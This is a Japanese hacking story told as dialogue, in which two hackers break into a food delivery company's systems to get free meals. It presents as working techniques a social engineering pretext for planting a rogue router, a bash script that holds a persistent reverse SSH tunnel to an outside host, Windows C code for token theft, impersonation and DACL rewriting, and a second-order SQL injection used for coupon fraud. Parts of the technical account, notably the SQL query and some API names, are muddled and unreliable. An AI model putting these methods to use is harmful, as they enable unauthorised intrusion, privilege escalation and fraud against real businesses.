一流ハッカーが世界を見る目は、ハイテク企業で働く技術者の日々の仕事とはまったく異なります。ほとんどの専門家が公式文書、上司の指示、認められたベストプラクティスに頼るのに対し、ハッカーは触ったり、テストしたり、分解したりできるものだけを信頼します。ハッカーにとって、理解はリバースエンジニアリングを通じて得られます。つまり、システムを分解して実際の機能を明らかにし、その後、システムを元に戻して壊れた部分を修復したり、脆弱性を悪用したりすることです。
これは犯罪者になることではありません。これは学習の最も純粋な形であり、人間の好奇心と同じくらい古い方法です。つまり、それを分解し、その部分を理解し、再構築することです。これは、分析的かつ総合的な思考の最高の形です。ハッカーがデバイスを悪用できるとき、真の熟練度が得られます。なぜなら、それが、ハッカーがデバイスの仕組みを誰よりも正確に知っている究極の証拠だからです。
この物語はまさにそれについてです。つまり、DeusExMachina のトップハッカー (Benicio) と Simplicius (勇敢な新人) が、複雑なシステム (食品配達アプリ) を楽しく分析し、最終的に完全に制御できるようになるまでの物語です。
これは、知的かつ技術的な冒険だけではなく、根本的には人間の限界を超えるために戦う冒険であり、頭脳を酷使するだけでなく、頭脳で遊び、そして何よりも文字通り頭脳に刺激されて不可能と思われる謎を解く冒険です。これはハッカーと子供たちが共有する特質です。
免責事項: このストーリーには実際に適用可能なハッキング資料が含まれていますが、教育目的のみで提供されています。違法なハッキングを奨励するものではありません。
ベニシオ (ハッカー):シンプリシウス、お腹が空いてるみたいだね。食べ物を注文しようか…無料だよ。君のお気に入りのフードデリバリーアプリをハッキングして、そのアプリのクーポンシステムを使う計画があるんだ。
シンプリシウス (新人): (笑) すでに何か準備はできているのですね。秘密を漏らしてください。
ベニシオ: (ニヤリと笑う) ああ、もう下準備は整ったよ。昨日、IT チームのグレッグを口説き落として、巧妙なソーシャル エンジニアリングをやって、海賊版ルーターをネットワークに滑り込ませたんだ。これで、バックエンドに直接接続して、貴重なクーポン システムにアクセスできるようになりました。さあ、食べましょう。
Benicio:すべては Greg から始まりました。私は彼らの「サードパーティ監査チーム」のふりをして電話をかけ、Greg は (彼はとてもいい人なので) 彼らのネットワーク設定についてすべてを話してくれました。彼が気付かないうちに、私は彼らのサーバー ルームで「脆弱性をチェック」し、カスタムOpenWRTルーターを設置していました。そのルーターは今や彼らのファイアウォールを検知されずにトンネルしています。
Simplicius:グレッグを誘惑してネットワーク マップを入手し、不正なルーターをインストールさせたのですか? 巧妙ですね。
Benicio: (ニヤリ) そのルーターではリバース SSH トンネルが稼働しており、いつでもリモート アクセスが可能です。使用したスクリプトは次のとおりです。
#!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done
シンプリシウス:それで、この巧妙な装置でファイアウォールを回避できました。次は何ですか?
Benicio:完全な内部アクセス権があれば、高権限のトークンをハイジャックできます。管理者として実行されているプロセスを見つけ、 DuplicateTokenEx()
API を使用してそのトークンを複製し、 ImpersonateLoggedOnUser()
を使用して管理者になりすましました。システムは私を通常のユーザーだと認識しますが、舞台裏では私がすべてのキーを保持しているのです。
#include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }
Benicio:しかし、本当にうまく機能させるには、セキュリティ記述子がどのように設定されているかを知る必要がありました。そこで、もう一度 Greg に電話し、監査のためにDACLとSACL の設定をいくつか確認してほしいと伝えました。彼は喜んで応じてくれました。
シンプリシウス: (笑) ソーシャル エンジニアリングの極みですね。
Benicio:わかりました。Greg の助けを借りて、ターゲットのセキュリティ記述子の SDDL (セキュリティ記述子定義言語) 文字列を取得し、 DACL (任意アクセス制御リスト) を分析して書き換えることができました。DACL を変更して自分自身にフル アクセスを許可しながら、巧妙な継承フラグを使用して変更によってアラートがトリガーされたり、疑惑が生じたりしないようにしました。システムは点滅すらしませんでした。
新しいDACLが配置されたら、変更をシステムに適用しました。システムの観点からは、何も異常は見られなかったのが素晴らしい点です。継承フラグにより、変更は既存のアクセスルールの下に隠されたままになりましたが、今では完全に制御できるようになりました。
#include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }
シンプリシウス:つまり、あなたは侵入し、制御権を得たということですね。どうやってアクセスチェックを突破したのですか?
Benicio: (自信を持って後ろにもたれ、上の図を指差しながら) システムは、整合性、トークンベース、および裁量チェックの 3 つのレイヤーで実行されます。通常、ほとんどの人はここで行き詰まってしまいますが、ここで魔法が働きます。私は特権プロセスから管理者トークンを取得し、 ImpersonateToken()
使用して、システムに自分がボスであると思わせました。その後、 DACL を再配線して自分にフル アクセスを与えました。システムはレッド カーペットを敷き詰めたのです。
説明しましょう。SID (セキュリティ識別子) と権限を保持するアクセス トークンは、私のパスポートのようなものです。管理者トークンを偽装することで、元の SID を変更する必要がなくなりました。システムは依然として私を権限の低いユーザーと認識していましたが、舞台裏では王国の鍵を握っていました。これにより、トークン ベースのチェックを通過できました。
次に、セキュリティ記述子 (DACL)に取り組みました。先ほど取得したSDDLを覚えていますか? DACL を変更して、オブジェクトを完全に制御できるようにしましたが、継承フラグを使用して変更を巧みにマスクし、疑わしいフラグが立てられないようにしました。システムは瞬きさえしませんでしたが、これで完全な制御権が手に入りました。これにより、裁量チェックを問題なく通過できました。
シンプリシウス:そうです、私たちのフレンドリーな用心棒、アクセス チェック プロセスです...
ベニシオ:ええ、クラブの用心棒みたいなものです。正しい身分証明書 ( SID ) を持っていて、クラブのオーナー ( DACL ) を知っていれば、入場できます。私は正しい身分証明書とオーナーの許可の両方を持っていることを確認しました。そのため、用心棒は私をただ入れるだけでなく、VIP パスを渡してくれました。
そして、その後はどうなったでしょうか? システムは「アクセス許可」または「アクセス拒否」と表示します。私たちが行ったすべての動きのおかげで、ご想像のとおり、アクセス許可が与えられました。私たちは参加しました、シンプリシウス、そしてシステムはそれに気づきませんでした。
Benicio : 次は楽しい部分です。私は、単純なUNION
句を使った簡単な方法は選びませんでした。アプリは賢すぎて、準備されたステートメントを使用しています。しかし、ご存知のように、セキュリティは最も弱い部分と同じくらいしか強くありません。私は、保存されたプロファイル データを処理する方法に自分の弱点を見つけました。
シンプリシウス: なるほど、興味が湧きました。どうやってシステムを騙して、有効なクーポンをそのままにして、偽のクーポンを受け入れるようにしたのですか?
Benicio : (身を乗り出して) これが本当のトリックです。アプリはクーポンが正当かどうかを検証するためにクエリを実行しますが、ユーザー プロファイルから一部のデータを取得します。最初にプロファイルを作成するときに入力がサニタイズされますが、プロファイルの更新中に再サニタイズされることはありません。そこで、私はプロファイルのアドレス フィールドにペイロードを挿入しました。これは、アプリが将来のクエリに取り込むまで気付かれずにそこにありました。そのときに、 2 次 SQL インジェクションが作動しました。システムはそれを検出できませんでした。なぜなら、インジェクションはすでに保存されており、適切なタイミングを待っていたからです。
先ほど言ったように、Simplicius ではクーポン検証プロセスを直接攻撃するのではなく、プロファイル フィールドにペイロードを埋め込み、別のクエリで使用されるのを待ちました。元のクーポン検証は次のようになります。
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
通常、偽のクーポンは存在しないため、このクエリは何も返しません。しかし、挿入したペイロードによってクエリのロジックが変更されました。挿入は既にデータベースに保存されており、適切なタイミングを待っていたため、システムは挿入を予期していませんでした。クエリは次のように操作されました。
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
プロファイル データとクエリ間の相互作用を利用して、システムを騙し、偽のクーポンと有効なクーポンの両方を同時に取得しました。アプリはトランザクションの偽のクーポンを処理しますが、有効なクーポンはシステム内にそのまま残ります。つまり、有効なクーポンはいつでも再利用できます。
Simplicius : では、古典的な入力トリックは使わず、プロファイルにペイロードを埋め込んで、システムに面倒な作業を任せたということですか?
Benicio : その通りです。アプリが取引のために偽のクーポンを処理する一方で、バックエンドでは有効なクーポンが今後も利用できるという点が優れています。保存されたペイロードは将来のクエリでも実行され続けるため、無料の食べ物が無限に供給され、ユーザーはそれに気付きません。
それで、金と同じくらい価値のあるクーポンを手に入れました。注文しましょう。
ベニシオ: (アプリをスクロールしながら) よし、シンプリシウス、ギリシャ料理はいかがですか? スブラキ、ジャイロ、スパナコピタを考えています。もちろんすべてサービスです。
シンプリシウス: (ニヤニヤしながら) 今回は本当に素晴らしい仕事をしましたね。
ベニシオ: (確認をクリック) 完了。料理をお届けします。
Benicio:この後、脆弱性を説明したレポートを慎重に送信します。Windowsセキュリティ トークン システムの設定がいかにひどいか、彼らはまったくわかっていません。次のハッカーが現れる前に、何かを学ぶことができるかもしれません。
シンプリシウス: (後ろにもたれながら) 君は我々に夕食をふるまい、皆に何も知らせなかった。ところで、私はスブラキをいただきます。
ベニシオ:(ニヤリ)それが続く限り楽しんでください。